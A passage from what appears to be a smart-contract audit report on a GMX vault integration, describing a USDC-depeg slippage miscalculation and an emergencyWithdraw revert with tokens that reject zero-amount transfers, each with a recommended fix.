Here consult calls _getChainlinkResponse(_feed) which gets the current value of a token, for our purpose this token is USDC. The problem begins because consult is called by consultIn18Decimals and this is called by convertToUsdValue, this is then called by calcMinTokensSlippageAmt. This function decides how much slippage is appropriate given the value of the asset being withdrawn. The problems is, as i showed, it will use chainlink value of USDC and in case of a depeg, it will use the depegged value. But as i have shown from gmx docs, when withdrawing, the value of USDC will always be valued at 1 or higher. So now we are calculating slippage for a usdc value that is depegged when we are withdrawing on gmx with the pegged assets normal value.
For example
because we use the chainlink value to calc slippage tolerance, we will be using the slippage tolerance for a USDC price of 0.4 when in fact we are valuing USDC at $1 in gmx. The amount of slippage allowed will be very incorrect and in some cases extreme. In case of total depeg, slippage will be almost 99% and users may lose almost all of their funds when trying to withdraw.
In case of total depeg, slippage will be almost 99% and users may lose almost all of their funds when trying to withdraw.
manual review
implement logic specific to stablecoins to handle depegs events. Such would be to always value stable coins at the maximum of the stablecoing proposed value and the chainlink response value. Currently we are only using the chainlink response answer to valuate stable coins like usdc, and as i have explained this is a problem.
GMXEmergency:emergencyWithdraw to revert if the withdrawn amount is 0Submitted by mmm, dipp. Selected submission by: dipp.
Tokens that don't allow 0 amount transfers could cause GMXEmergency:emergencyWithdraw to misbehave.
When the vault is closed users may call emergencyWithdraw to withdraw a portion of tokenA/B from the vault based on their share balance.
If one of the tokens is a token that does not allow 0 amount transfers and the balance of the token in the vault is small enough to make amount to be withdrawn == 0 then emergencyWithdraw may revert and prevent the user from withdrawing.
Tokens may be sent to the vault directly so that the withdraw amount is more than 0 but unless the user is the last to withdraw, the tokens sent are shared among other users that hold shares.
Users may be unable to withdraw or need to send tokens to the vault and lose a portion of it so that withdrawing becomes possible.
Consider checking that the amount to withdraw is > 0 before attempting to transfer the tokens.